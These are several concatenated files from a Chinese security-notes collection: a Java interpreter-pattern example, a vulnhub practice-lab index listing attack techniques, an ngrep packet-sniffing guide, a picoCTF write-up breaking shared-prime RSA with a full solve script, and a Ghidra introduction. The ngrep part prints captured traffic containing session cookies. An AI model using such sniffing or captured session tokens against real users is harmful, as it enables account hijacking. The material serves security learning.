为语言创建解释器,通常由语言的语法和语法分析来定义。
### Class Diagram
- TerminalExpression:终结符表达式,每个终结符都需要一个 TerminalExpression。
- Context:上下文,包含解释器之外的一些全局信息。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2b125bcd-1b36-43be-9b78-d90b076be549.png"/> </div><br>
### Implementation
以下是一个规则检验器实现,具有 and 和 or 规则,通过规则可以构建一颗解析树,用来检验一个文本是否满足解析树定义的规则。
例如一颗解析树为 D And (A Or (B C)),文本 "D A" 满足该解析树定义的规则。
这里的 Context 指的是 String。
```java
public abstract class Expression {
public abstract boolean interpret(String str);
}
```
```java
public class TerminalExpression extends Expression {
private String literal = null;
public TerminalExpression(String str) {
literal = str;
}
public boolean interpret(String str) {
StringTokenizer st = new StringTokenizer(str);
while (st.hasMoreTokens()) {
String test = st.nextToken();
if (test.equals(literal)) {
return true;
}
}
return false;
}
}
```
```java
public class AndExpression extends Expression {
private Expression expression1 = null;
private Expression expression2 = null;
public AndExpression(Expression expression1, Expression expression2) {
this.expression1 = expression1;
this.expression2 = expression2;
}
public boolean interpret(String str) {
return expression1.interpret(str) && expression2.interpret(str);
}
}
```
```java
public class OrExpression extends Expression {
private Expression expression1 = null;
private Expression expression2 = null;
public OrExpression(Expression expression1, Expression expression2) {
this.expression1 = expression1;
this.expression2 = expression2;
}
public boolean interpret(String str) {
return expression1.interpret(str) || expression2.interpret(str);
}
}
```
```java
public class Client {
/**
* 构建解析树
*/
public static Expression buildInterpreterTree() {
// Literal
Expression terminal1 = new TerminalExpression("A");
Expression terminal2 = new TerminalExpression("B");
Expression terminal3 = new TerminalExpression("C");
Expression terminal4 = new TerminalExpression("D");
// B C
Expression alternation1 = new OrExpression(terminal2, terminal3);
// A Or (B C)
Expression alternation2 = new OrExpression(terminal1, alternation1);
// D And (A Or (B C))
return new AndExpression(terminal4, alternation2);
}
public static void main(String[] args) {
Expression define = buildInterpreterTree();
String context1 = "D A";
String context2 = "A B";
System.out.println(define.interpret(context1));
System.out.println(define.interpret(context2));
}
}
```
```html
true
false
```
### JDK
- [java.util.Pattern](http://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html)
- [java.text.Normalizer](http://docs.oracle.com/javase/8/docs/api/java/text/Normalizer.html)
- All subclasses of [java.text.Format](http://docs.oracle.com/javase/8/docs/api/java/text/Format.html)
- [javax.el.ELResolver](http://docs.oracle.com/javaee/7/api/javax/el/ELResolver.html)
|
sec-knowleage
|
# vulnhub
## 类OSCP靶机
| 靶场名字 | 学习到的内容 | 是否完成 | 靶场时间 |
| :----------------------------------------------------------: | :----------------------------------------------------------: | -------- | ----------- |
| [Kioptrix: Level 1](<Kioptrix Level 1.md>) | searchsploit、mod\_ssl RCE、SMB RCE应用 | ⚪ | 17 Feb 2010 |
| [Kioptrix: Level 1.1](<Kioptrix Level 1.1.md>) | 万能密码、命令注入,nc反弹,本地提权 | ⚪ | 11 Feb 2011 |
| [Kioptrix: Level 1.2](<Kioptrix Level 1.2.md>) | SQL手工联合注入、ht编辑器提权 | ⚪ | 18 Apr 2011 |
| [Kioptrix: Level 1.3](<Kioptrix Level 1.3.md>) | Samba枚举、万能密码、终端模式、MySQL提权、文件包含、字符截断、/proc/self/fd写入内容。 | ⚪ | 8 Feb 2012 |
| [Kioptrix 2014](<Kioptrix 2014.md>) | CMS EXP、EXP本地提权 | ⚪ | 6 Apr 2014 |
| [FristiLeaks:1.3](FristiLeaks:1.3.md)🔺 | base64加解密、上传绕过、sudo提权 | ⚪ | 14 Dec 2015 |
| [Stapler:1](<Stapler 1.md>)🔺 | FTP匿名登录、smb用户枚举、hydra爆破、文件隐写、wordpress、MySQL提权、字典爆破、EXP本地提权 | ⚪ | 8 Jun 2016 |
| [PwnLab:init](PwnLab:init.md)⚽ | 本地文件包含、文件上传绕过、环境变量、本地提权 | ⚪ | 1 Aug 2016 |
| [Mr-Robot:1](Mr-Robot:1.md) | wordpress爆破、nmap提权 | ⚪ | 28 Jun 2016 |
| [HackLAB:vulnix](HackLAB:vulnix.md) | finger枚举用户、**nfs用户伪造访问**、ssh爆破 | ⚪ | 10 Sep 2012 |
| [VulnOS 2](<VulnOS 2.md>) | SQL注入、内核提权 | ⚪ | 17 May 2016 |
| [SickOs 1.2](<SickOs 1.2.md>) | **put方法上传文件**、chkrootkit提权 | ⚪ | 27 Apr 2016 |
| [PWNOS: 1.0](PWNOS:1.0.md) | CGI文件包含提权、破壳shell提权 | ⚪ | 27 Jun 2008 |
| [Pwnos 2.0](PWNOS:2.0.md) | 注入漏洞 | ⚪ | 4 Jul 2011 |
| [BSides Vancouver 2018](<BSides Vancouver 2018.md>) | FTP匿名登陆、crontab定时计划提权 | ⚪ | 21 Mar 2018 |
| [Lord of the Root 1.0.1](<Lord of the Root 1.0.1.md>) | 端口敲门、UDF提权、缓冲区溢出漏洞 | ⚪ | 23 Sep 2015 |
| [Brainpan:1](<Brainpan 1.md>)🎃 | 缓冲区溢出漏洞 | ⚪ | 20 Mar 2013 |
| [Lin.Security](Lin.Security.md) | mount写公钥、strace提权、awk提权、docker 映射提权 | ⚪ | 11 Jul 2018 |
| [ZICO2:1](ZICO2:1.md) | 文件包含漏洞、zip提权、tar提权 | ⚪ | 19 Jun 2017 |
| [Web Developer 1](<Web Developer 1.md>) | WP插件写shell、tcpdump提权、lxd提权 | ⚪ | 5 Nov 2018 |
| [SolidState](SolidState.md) | James服务攻击、rbash转义、pspy使用 | ⚪ | 12 Sep 2018 |
| [Wintermute](Wintermute.md) | gobuster使用、GNU Screen提权、mail日志+LFI、socat流量转发 | ⚪ | 5 Jul 2018 |
| [Wallaby's Nightmare](<Wallaby's Nightmare.md>) | irssi聊天室 | ⚪ | 22 Dec 2016 |
| [DC: 1](<DC 1.md>) | droopescan使用、find提权 | ⚪ | 28 Feb 2019 |
| [DC: 2](<DC 2.md>) | wpscan使用、vim绕过bash、环境变量配置、git提权 | ⚪ | 22 Mar 2019 |
| [DC: 3.2](<DC 3.2.md>) | droopescan使用、sqlmap使用、反弹shell | ⚪ | 25 Apr 2020 |
| [DC: 4](<DC 4.md>) | hydra暴力破解 | ⚪ | 7 Apr 2019 |
| [DC: 5](<DC 5.md>)⚽ | wfuzz使用、LFI日志+反弹shell、screen提权 | ⚪ | 21 Apr 2019 |
| [DC: 6](<DC 6.md>) | wpscan爆破用户、wfuzz爆破密码、nmap提权 | ⚪ | 26 Apr 2019 |
| [DC: 7](<DC 7.md>) | 社工 | ⚪ | 31 Aug 2019 |
| [DC: 8](<DC 8.md>) | exim4提权 | ⚪ | 8 Sep 2019 |
| [DC: 9](<DC 9.md>) | sqlmap、hydra、端口敲门、passwd插入root | ⚪ | 29 Dec 2019 |
| [Bill Madison](<BILLY MADISON 1.1>) | smb共享、FTP爆破、端口敲门、数据包分析、WIFI密码爆破 | ⚪ | 14 Sep 2016 |
| [/dev/random:sleepy](<DEVRANDOM SLEEPY.md>)🎃 | JDWP | | 2 Oct 2015 |
| [Troll 1](<Troll 1.md>) | FTP匿名登录、数据包分析 | ⚪ | 14 Aug 2014 |
| [Troll 2](<Troll 2.md>) | 破壳漏洞、缓冲区漏洞提权 | ⚪ | 24 Oct 2014 |
| [Troll 3](<Troll 3.md>) | aircrack-ng爆破 | ⚪ | 6 Aug 2019 |
| [IMF](IMF.md) | 端口敲门、SQL注入、weevely使用、缓冲区溢出 | ⚪ | 30 Oct 2016 |
| [Sky Tower](<Sky Tower.md>) | squid反向代理、.bashrc限制、文件路径滥用 | ⚪ | 26 Jun 2014 |
| [Pinkys Palace v1](<Pinkys Palace v1.md>)🎃 | squid代理、缓冲区溢出 | | 6 Mar 2018 |
| [Pinkys Palace v2](<Pinkys Palace v2.md>)🎃 | | | 18 Mar 2018 |
| [Pinkys Palace v3](<Pinkys Palace v3.md>)🎃 | | | 15 May 2018 |
| [Pinkys Palace v4](<Pinkys Palace v4.md>)🎃 | | | 15 Oct 2018 |
| [Violator](Violator.md) | cewl | ⚪ | 4 Jul 2016 |
| [Sedna](Sedna.md) | 无 | ⚪ | 14 Mar 2017 |
| [Simple](Simple.md) | 无 | ⚪ | 9 Oct 2015 |
| [digitalworld.local MERCY v2](<digitalworld.local MERCY v2.md>)🔺 | smb共享、端口敲门 | ⚪ | 28 Dec 2018 |
| [digitalworld.local: DEVELOPMENT](<digitalworld.local DEVELOPMENT.md>)🔺 | bash绕过 | ⚪ | 28 Dec 2018 |
| [digitalworld.local: BRAVERY](<digitalworld.local BRAVERY>)🔺 | NFS、smb共享 | ⚪ | 28 Dec 2018 |
| [digitalworld.local: JOY](<digitalworld.local JOY.md>)🔺 | ftp匿名访问 | ⚪ | 31 Mar 2019 |
| [digitalworld.local: TORMENT](<digitalworld.local TORMENT.md>)🔺 | ftp匿名访问、聊天室 | ⚪ | 31 Mar 2019 |
| [digitalworld.local: snakeoil](<digitalworld.local snakeoil.md>)🔺 | ffuf使用,API利用 | ⚪ | 23 Aug 2021 |
| [digitalworld.local: FALL](<digitalworld.local FALL.md>) | ffuf使用 | ⚪ | 6 Sep 2021 |
| [Raven:1](<Raven 1.md>) | wpscan | ⚪ | 14 Aug 2018 |
| [Raven:2](<Raven 2.md>) | 无 | ⚪ | 9 Nov 2018 |
| [Temple of Doom](<Temple of Doom.md>) | nodejs和ss反序列漏洞 | ⚪ | 8 Jun 2018 |
| [Hackme:1](<HACKME 1.md>) | SQL注入、文件上传 | ⚪ | 18 Jul 2019 |
| [Hackme:2](<HACKME 2.md>) | 命令注入空格绕过 | ⚪ | 6 Dec 2020 |
| [Escalate_Linux: 1](<Escalate Linux:1.md>) | Linux提权 | ⚪ | 30 Jun 2019 |
| [Prime 1](<Prime 1.md>) | wfuzz、wordpress theme上传shell、AES解密 | ⚪ | 1 Sep 2019 |
| [Misdirection 1](<Misdirection 1.md>)🔺 | sudo指定用户、lxd提权、passwd新增用户 | ⚪ | 24 Sep 2019 |
| [Sar:1](<Sar:1.md>) | LinEnum、定时计划 | ⚪ | 15 Feb 2020 |
| [DJINN: 1](<DJINN 1.md>) | 提权 | ⚪ | 18 Nov 2019 |
| [EVM: 1](<EVM 1.md>) | wpscan、msf连wordpress | ⚪ | 2 Nov 2019 |
| [NullByte](NullByte.md)⚽ | exiftool、hashcat、环境变量 | ⚪ | 1 Aug 2015 |
| [Toppo 1](<Toppo 1.md>) | sudo中awk、python | ⚪ | 12 Jul 2018 |
| [LemonSqueezy](LemonSqueezy.md) | wpscan枚举和爆破,MySQL写shell | ⚪ | 26 Apr 2020 |
| [Tiki-1](Tiki-1.md) | smb匿名共享 | ⚪ | 31 Jul 2020 |
| [Healthcare 1](<Healthcare 1.md>) | gobuster、suid | ⚪ | 29 Jul 2020 |
| [Photographer 1](<Photographer 1.md>) | smb匿名共享、php提权 | ⚪ | 21 Jul 2020 |
| [Glasglow 1.1](<Glasglow 1.1.md>) | joomscan、cewl | ⚪ | 16 Jun 2020 |
| [DevGuru 1](<DevGuru 1.md>) | git-dumper、bcrypt加密、Git Hooks反弹shell、sudoers 提权 | ⚪ | 7 Dec 2020 |
| [Hack Me Please](<Hack Me Please.md>) | 无 | ⚪ | 31 Jul 2021 |
| [Vulnerable Docker 1](<Vulnerable Docker 1.md>) | docker未授权 | ⚪ | 27 Sep 2017 |
| [Readme 1](<Readme 1.md>)🎃 | | | |
| [Election 1](<Election 1.md>) | Serv-U提权 | ⚪ | 2 Jul 2020 |
| [Hacker Kid: 1.0.1](<Hacker Kid 1.0.1.md>)🔺 | SSTI反弹shell、dig查询域名、getcap提权 | ⚪ | 2 Aug 2021 |
| [Infosec Prep OSCP Box](<Infosec Prep OSCP Box.md>) | lxd提权 | ⚪ | 11 Jul 2020 |
| [HAWordy](HA:WORDY.md)🔺 | wpscan使用、suid提权 | ⚪ | 13 Sep 2019 |
| [Bottleneck](Bottleneck.md)🎃 | LFI、suid | ⚪ | 28 Sep 2019 |
| [Lampiao](Lampiao.md)🔺 | hydra、cewl | ⚪ | 28 Jul 2018 |
| [BORN2ROOT: 1](<Born2Root:1.md>)🔺 | bopscrk、定时计划 | ⚪ | 10 Jun 2017 |
| [BORN2ROOT: 2](<Born2Root 2.md>)🔺 | cewl | ⚪ | 28 Feb 2019 |
| [BTRSys2.1](BTRSys2.1.md)🔺 | wpscan | ⚪ | 31 Jul 2017 |
| [Dawn](Dawn.md)🔺 | smb共享、pspy64、zsh提权 | ⚪ | 3 Aug 2019 |
| [Dawn2](Dawn2.md)🎃 | | | 15 Feb 2020 |
| [Dawn3](Dawn3.md)🎃 | | | 8 Mar 2020 |
| [NoName](NoName.md)🔺 | 命令执行、nc.traditional、find提权 | ⚪ | 15 Feb 2020 |
| [Inclusiveness](Inclusiveness.md)🔺 | 文件包含反弹shell和VSFTP、环境变量绕过提权 | ⚪ | 10 Feb 2020 |
| [Solstice](Solstice.md)🔺 | | | 26 Jun 2020 |
| [My-CMSMS](My-CMSMS.md)🔺 | | | 25 Jun 2020 |
| [Sumo](Sumo.md)🔺 | | | 13 May 2020 |
| [Powergrid](Powergrid.md)🔺 | | | 28 May 2020 |
| [Geisha](Geisha.md)🔺 | | | 13 May 2020 |
| [Katana](Katana.md)🔺 | | | 13 May 2020 |
| [Ha-natraj](Ha-natraj.md)🔺 | | | 4 Jun 2020 |
| [Funbox](Funbox.md)🔺 | | | 20 Jul 2020 |
| [Gitroot](Gitroot.md)⚽ | git-dumpers、git-export | ⚪ | 3 Jun 2020 |
| [Seppuku](Seppuku.md)🔺 | hydra、rbash转义 | ⚪ | 13 May 2020 |
| [SoSimple](SoSimple.md)🔺 | wpscan、wordpress提权、service提权 | ⚪ | 17 Jul 2020 |
| [Assertion101](Assertion101.md)🔺 | 文件包含漏洞、aria2c SUID | ⚪ | 28 Jun 2020 |
| [Pwned1](Pwned1.md)🎃 | | | 10 Jul 2020 |
| [Sunset:Decoy](Sunset:Decoy.md)🔺 | rbash绕过、环境变量、Chkrootkit提权 | ⚪ | 7 Jul 2020 |
| [CYBERSPLOIT: 1](<CYBERSPLOIT 1.md>)🔺 | [CyberChef](https://gchq.github.io/CyberChef/)解密二进制 | ⚪ | 9 Jul 2020 |
| [Djinn3](Djinn3.md)🔺 | SSTI | ~~⚪~~ | 19 Jun 2020 |
| [Potato](Potato.md)🔺 | 目录遍历、john | ⚪ | 2 Aug 2020 |
| [FunboxRookie](FunboxRookie.md)🔺 | zip2john压缩包爆破 | ⚪ | 27 Jul 2020 |
| ~~[FunboxEasy](FunboxEasy.md)~~ | ~~虚拟机有问题~~ | ⚪ | 31 Jul 2020 |
| [PyExp](PyExp.md)🔺 | mysql爆破、fernet解密 | ⚪ | 11 Aug 2020 |
| [Loly](Loly.md)🔺 | wpscan枚举用户和密码 | ⚪ | 21 Aug 2020 |
| [Wpwn](Wpwn.md)🔺 | 命令执行 | ⚪ | 18 Aug 2020 |
| [SunsetNoontide](SunsetNoontide.md) | 无 | ⚪ | 9 Aug 2020 |
| [InsanityHosting](InsanityHosting.md)🔺 | SQL注入、john | ⚪ | 16 Aug 2020 |
| [BBSCute](<BBSCute 1.0.2.md>) | 无 | ⚪ | 24 Sep 2020 |
| [FunboxEasyEnum](FunboxEasyEnum.md) | 无 | ⚪ | 19 Sep 2020 |
| [Monitoring](Monitoring.md) | 无 | ⚪ | 14 Sep 2020 |
| [Y0usef](Y0usef.md)⚽ | X-Forwarded-For绕过 | ⚪ | 10 Dec 2020 |
| [Gaara](Gaara.md)🔺 | gdb提权 | ⚪ | 13 Dec 2020 |
| [TRE: 1](<TRE 1.md>) 🔺 | pspy64使用 | ⚪ | 13 May 2020 |
| [SUNSET: MIDNIGHT](<SUNSET MIDNIGHT.md>)🔺 | wordpress木马插件 | ⚪ | 19 Jul 2020 |
| [Ted](Ted.md)⚽ | | | |
| [Five86.2](<Five86.2.md>)⚽ | | | |
| [LazySysAdmin](<LazySysAdmin.md>)⚽ | | | |
| [Covfefe](<Covfefe.md>) ⚽ | | | |
| [BrokenGallery](<BrokenGallery.md>)⚽ | | | |
| [Powergrid](<Powergrid.md>)⚽ | | | |
| [DepthB2R](<DepthB2R.md>)⚽ | | | |
| [Scarecrow1.1](<Scarecrow1.1.md>)⚽ | | | |
| [Fowsniff](<Fowsniff.md>)⚽ | | | |
| [SunsetTwilight](<SunsetTwilight.md>)⚽ | | | |
| [USV2017](<USV2017.md>)⚽ | | | |
| [JISCTF](<JISCTF.md>)⚽ | | | |
| [BossPlayersCTF](<BossPlayersCTF.md>)⚽ | | | |
## 其他
| 靶场名字 | 学习到内容 | 是否完成 | 靶场时间 |
| :----------------------------------------------------: | :--------------------------------------------: | -------- | ----------- |
| [GREENOPTIC: 1](<GREENOPTIC 1.md>) | DNS域传送漏洞、LFI+邮件、FTP+SSH、数据包分析。 | | |
| [Kvasir](Kvasir.md) | | | |
| [xxe](xxe.md) | | | |
| [Darknet:1.0](Darknet:1.0.md) | | | |
| [ACID:SERVER](<ACID SERVER.md>)🦄 | gobuster使用、命令执行漏洞 | | |
| [ACID:RELOADED](<ACID RELOADED.md>)🦄 | 端口敲门,strings | | |
| [DERPNSTINK: 1](<DERPNSTINK 1.md>)🦄 | | | |
| [RICKDICULOUSLYEASY: 1](<RICKDICULOUSLYEASY 1.md>)🦄 | 初级CTF | | |
| [TOMMY BOY: 1](<TOMMY BOY 1.md>)🦄 | | | |
| [Breach 1](Breach 1.md)🦄 | | | |
| [Breach 2.1](<Breach 2.1.md>)🦄 | | | |
| [Breach 3.0.1](<Breach 3.0.1.md>)🦄 | | | |
| [Bob 1.0.1](Bob 1.0.1.md)🦄 | | | |
| [W34kn3ss 1](<W34kn3ss 1.md>)🦄 | openssl漏洞、pyc转py、SSL证书 | ⚪ | 14 Aug 2018 |
| [GoldenEye 1](<GoldenEye 1.md>)🦄 | html解码、POP3 | ~~⚪~~ | 4 May 2018 |
| [MORIA 1.1](<MORIA 1.1.md>)🦄 | | | 29 Apr 2017 |
| [Spydersec](Spydersec.md)🦄 | | | 4 Sep 2015 |
| [DEFCON Toronto Galahad](<DEFCON Toronto Galahad.md>)🦄 | | | 1 Jun 2017 |
| [Node 1](<Node 1.md>) | | | 7 Aug 2018 |
| [Deception](Deception.md)🦄 | 无 | | 15 Feb 2020 |
| [Vegeta1](Vegeta1.md)🦄 | 音频摩斯密码解密 | ⚪ | 28 Jun 2020 |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
> - 🔺:有意思
> - 🎃:pwn
> - 🦄:CTF
> - ⚽:退役机器��
|
sec-knowleage
|
ngrep
===
方便的数据包匹配和显示工具
## 补充说明
**ngrep命令** 是grep命令的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包,理解bpf的过滤机制。
### 安装
ngrep命令的下载地址:http://ngrep.sourceforge.net/,libpcap下载地址:http://www.tcpdump.org/。先用`yum install libpcap`完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。
如果yum无法安装就用以下步骤安装libpcap:
```shell
wget http://www.tcpdump.org/release/libpcap-1.3.0.tar.gz
tar -zxf libpcap-1.3.0.tar.gz
cd libpcap-1.3.0
./configure
make && make install
```
ngrep的安装就是 configure/make/make install 三部曲。
注:configure时是遇到 please wipe out all unused pcap installations,添加以下选项:
```shell
./configure --with-pcap-includes=/usr/local/include/pcap
```
在安装后输入ngrep来验证下安装是否成功。
### 语法
```shell
ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num>
<-s snaplen> <-S limitlen> <-w normal|byline|single|none> <-c cols>
<-P char> <-F file> <match expression> <bpf filter>
```
### 选项
```shell
-e # 显示空数据包
-i # 忽略大小写
-v # 反转匹配
-R # don't do privilege revocation logic
-x # 以16进制格式显示
-X # 以16进制格式匹配
-w # 整字匹配
-p # 不使用混杂模式
-l # make stdout line buffered
-D # replay pcap_dumps with their recorded time intervals
-t # 在每个匹配的包之前显示时间戳
-T # 显示上一个匹配的数据包之间的时间间隔
-M # 仅进行单行匹配
-I # 从文件中读取数据进行匹配
-O # 将匹配的数据保存到文件
-n # 仅捕获指定数目的数据包进行查看
-A # 匹配到数据包后dump随后的指定数目的数据包
-s # set the bpf caplen
-S # set the limitlen on matched packets
-W # 设置显示格式byline将解析包中的换行符
-c # 强制显示列的宽度
-P # set the non-printable display char to what is specified
-F # 使用文件中定义的bpf(Berkeley Packet Filter)
-N # 显示由IANA定义的子协议号
-d # 使用哪个网卡,可以用-L选项查询
-L # 查询网卡接口
```
### 实例
捕捉cloudian:18080端口的request和response,`-W byline`用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。`-d lo`是监听本地网卡:
```shell
ngrep -W byline -d lo port 18080
```
捕捉amazon:80端口的request和response。`-d eth0是`用来监听对外的网卡:
```shell
ngrep -W byline -d eth0 port 80
```
可以用`-d any`来捕捉所有的包:
```shell
ngrep '[a-zA-Z]' -t -W byline -d any tcp port 18080
```
捕获字符串`.flv`,比如要查看在Web Flash 视频中的.flv文件的下载地址:
```shell
ngrep -d3 -N -q \.flv
interface: \Device\TNT_40_1_{670F6B50-0A13-4BAB-9D9E-994A833F5BA9} (10.132.0.0/2
55.255.192.0)
match: \.flv
```
打开一个视频页面:
```shell
T(6) 10.132.34.23:24860 -> 61.142.208.154:80 [AP]
GET /f59.c31.56.com/flvdownload/12/19/ggyg7741@56.com_56flv_zhajm_119556973
97.flv HTTP/1.1..accept: */*..Referer: http://www.56.com/flashApp/v_player_
site.swf..x-flash-version: 9,0,45,0..UA-CPU: x86..Accept-Encoding: gzip, de
flate..User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET
CLR 2.0.50727; .NET CLR 3.0.04506.30)..host: f59.r.56.com..Connection: Keep
-Alive..Cookie: whistoryview=23423759-23635627-23423344-23171935-23058374-2
3081156-23207350-22395727-; geoip=............; wl_all_s=y....
```
OK。地址已经找到了,就是http://f59.c31.56.com/flvdownload/12/19/ggyg7741@56.com_56flv_zhajm_11955697397.flv
加个`-W byline`参数后,将解析包中的换行符:
```shell
T(6) 2007/11/25 15:56:12.192619 10.132.34.23:26365 -> 59.151.21.101:80 [AP]
GET /aa.flv HTTP/1.1.
Accept: */*.
Accept-Language: zh-cn.
UA-CPU: x86.
Accept-Encoding: gzip, deflate.
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.5072
7; .NET CLR 3.0.04506.30).
Host: www.google.cn.
Connection: Keep-Alive.
Cookie: PREF=id=a0b2932c336477e9:TB=4:NW=1:TM=1187877372:LM=1187956074:S=Y1Fzndp
rT3vFo7ac; SID=DQAAAHcAAABJCEXeOVLHu2rIfb5BfKP3GG9PbhJDEkXsLTV8y0f_lvSd2Y46Q0FPt
83CnEs9rxA1xBDM9mLR8-ckWeScyOQA8PyYnX5u5OjFvjfRbDg_FDZfwxhRzqS9KPZv26pjnsUxs0FDM
1xpJ5AgDn38pXtlCdkksJ0-cbiIWoA61oHWMg; NID=7=AvJxn5B6YOLLxoYz4LLzhIbNsQUQiulRS6U
JGxdBniQBmXm99y7L-NBNORN82N3unmZSGHFPfePVHnLK2MjYjglyXZhU9x7ETXNBnY3NurNijHDhJ7K
yi7E53UBOcv4V.
```
|
sec-knowleage
|
# triple-secure
Crypto, 150 points
## Description
> To get the flag, you must break RSA not once, but three times!
Two files were attached:
`encrypt.py`:
```python
#!/usr/bin/env python3
from Crypto.Util.number import getPrime, bytes_to_long
with open('flag.txt', 'rb') as f:
flag = f.read()
p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)
n1 = p * q
n2 = p * r
n3 = q * r
moduli = [n1, n2, n3]
e = 65537
c = bytes_to_long(flag)
for n in moduli:
c = pow(c, e, n)
with open('public-key.txt', 'w') as f:
f.write(f'n1: {n1}\n')
f.write(f'n2: {n2}\n')
f.write(f'n3: {n3}\n')
f.write(f'e: {e}\n')
f.write(f'c: {c}\n')
```
`public-key.txt`:
```
n1: 15192492059814175574941055248891268822162533520576381643453916855435310880285336743521199057138647926712835561752909538944229702432795423884081992987060760867003375755338557996965825324749221386675061886921763747311599846248565297387814717840084998677273427776535730840343260681623323972936404815862969684384733188827100528542007213405382537935243645704237369770300643318878176739181891072725262069278646319502747718264711249767568106460533935904219027313131270918072460753061248221785076571054217566164086518459844527639082962818865640864990672033657423448004651989761933295878220596871163544315057550871764431562609
n2: 15896482259608901559307142941940447232781986632502572991096358742354276347180855512281737388865155342941898447990281534875563129451327818848218781669275420292448483501384399236235069545630630803245125324540747189305877026874280373084005881976783826855683894679886076284892158862128016644725623200756074647449586448311069649515124968073653962156220351541159266665209363921681260367806445996085898841723209546021525012849575330252109081102034217511126192041193752164593519033112893785698509908066978411804133407757110693612926897693360335062446358344787945536573595254027237186626524339635916646549827668224103778645691
n3: 16866741024290909515057727275216398505732182398866918550484373905882517578053919415558082579015872872951000794941027637288054371559194213756955947899010737036612882434425333227722062177363502202508368233645194979635011153509966453453939567651558628538264913958577698775210185802686516291658717434986786180150155217870273053289491069438118831268852205061142773994943387097417127660301519478434586738321776681183207796708047183864564628638795241493797850819727510884955449295504241048877759144706319821139891894102191791380663609673212846473456961724455481378829090944739778647230176360232323776623751623188480059886131
e: 65537
c: 5527557130549486626868355638343164556636640645975070563878791684872084568660950949839392805902757480207470630636669246237037694811318758082850684387745430679902248681495009593699928689084754915870981630249821819243308794164014262751330197659053593094226287631278905866187610594268602850237495796773397013150811502709453828013939726304717253858072813654392558403246468440154864433527550991691477685788311857169847773031859714215539719699781912119479668386111728900692806809163838659848295346731226661208367992168348253106720454566346143578242135426677554444162371330348888185625323879290902076363791018691228620744490
```
## Solution
We can see from the script implementation that the flag is RSA-encrypted three times with three different modulus keys. However, the keys are created by just three random prime numbers, and every modulus value shares a prime with another modulus value. Therefore, it's trivial to factor the modulus to prime factors using the GCD of two modulus values. Once we have the prime factors of each modulus, it's trivial to decrypt RSA by the book - we just need to recursively apply RSA decryption for three times.
The full script:
```python
from gmpy2 import *
def decrypt(c, p, q, e):
ph = (p-1)*(q-1)
d = invert(e, ph)
return pow(c, d, p*q)
params = {}
with open("public-key.txt") as f:
for line in f:
line = line.rstrip()
name, value = line.split(":")
params[name] = mpz(int(value))
p = gcd(params["n1"], params["n2"])
q = gcd(params["n1"], params["n3"])
r = gcd(params["n2"], params["n3"])
assert(p * q == params["n1"])
assert(p * r == params["n2"])
assert(q * r == params["n3"])
a1 = decrypt(params["c"], q, r, params["e"])
a2 = decrypt(a1, p, r, params["e"])
a3 = decrypt(a2, p, q, params["e"])
print(bytes.fromhex(format(a3, 'x')).decode("ascii"))
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/triple-secure]
└─$ python3 solve.py
picoCTF{1_gu3ss_tr1pl3_rs4_1snt_tr1pl3_s3cur3!!!!!!}
```
|
sec-knowleage
|
# Ghidra
> 文章作者 [the-fog](https://github.com/the-fog)
<p align="center">
<img src="../../../assets/img/logo/Ghidra.png" width="25%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 简介
Ghidra 是由美国国家安全局(NSA)研究部门开发的软件逆向工程(SRE)套件,用于支持网络安全任务。包括一套功能齐全的高端软件分析工具,使用户能够在各种平台 (Windows、Mac OS 和 Linux) 分析编译后的代码。功能包括反汇编,汇编,反编译,绘图和脚本,以及数百个其他功能。和 IDA 一样,Ghidra 支持各种处理器指令集和可执行格式,用户还可以使用公开的 API 开发自己的 Ghidra 插件和脚本。不同的是,IDA 是收费的,而 Ghidra 是免费开源的。
---
## 环境配置
Ghidra 的压缩包可以在 [官网](https://ghidra-sre.org/) 上下载到,截至目前最新版本为 9.2,官方推荐使用的 JDK 版本为 11+。配置好 JAVA 环境后,解压压缩包即可。如电脑上有多个 JAVA 环境,可以在 Ghidra 文件夹下的 support/launch.properties 文件中修改 JAVA_HOME_OVERRIDE 的值。
在 Windows 上运行 ghidraRun.bat,在 Linux/unix/macOS(OS X) 上运行 ghidraRun 启动。Ghidra 操作指南位于解压文件夹下的 docs/CheatSheet.html。
Ghidra 启动示意图:
---
## 基础介绍
IDA 只要把要分析的文件拖进去即可,而 Ghidra 则不同,Ghidra 是基于项目 (Project) 设计的,个人感觉这一点应该是为了方便团队协作而设计的。要开始使用 Ghidra 需先创建一个项目,点击 File->New Project->Non-Shared Project->next->选择项目文件夹并填写项目名称 ->Finish。
如图,我创建了一个名为 test 的项目
这个时候,就可以把要分析的文件拖进去了,也可以通过File->Import File->导入想要分析的文件,点击OK即可。
Ghidra 在加载完成后,会显示该文件的基础信息,如架构、大小、MD5值等
然后就可以用 Ghidra 自带的 CodeBrowser 打开目标文件了,在目标文件名上右击 ->Open with -> CodeBrowser
一般第一次打开某个文件,Ghidra 都会提醒我们是否要分析,选择 yes,然后会出现分析选项,我们这里不做任何更改,直接 Analyze 即可
然后,Ghidra 会花较长的时间分析,受你的 CPU 性能以及分析文件的大小影响。由于 Ghidra 是 JAVA 编写的,在效率上会低于 C/C++ 编写的 IDA。
接下来,我将依次对下方各个窗口进行简单的介绍。
### Listing
也就是中间那块最大的窗口,我们一般把这样的窗口叫做反汇编窗口,主要用来展示地址、opcode、汇编语句等。通过鼠标滚轮或者右边的滑动条来控制上下移动。
右侧的各种颜色的点标志各个段所在地址,比如 CODE、DATA、idata 等,点击即可跳转到相应的段
将鼠标移动到函数名或者偏移地址上会显示出详细信息
可以使用快捷键 G,来跳转到想要去的地址
### Program Tree
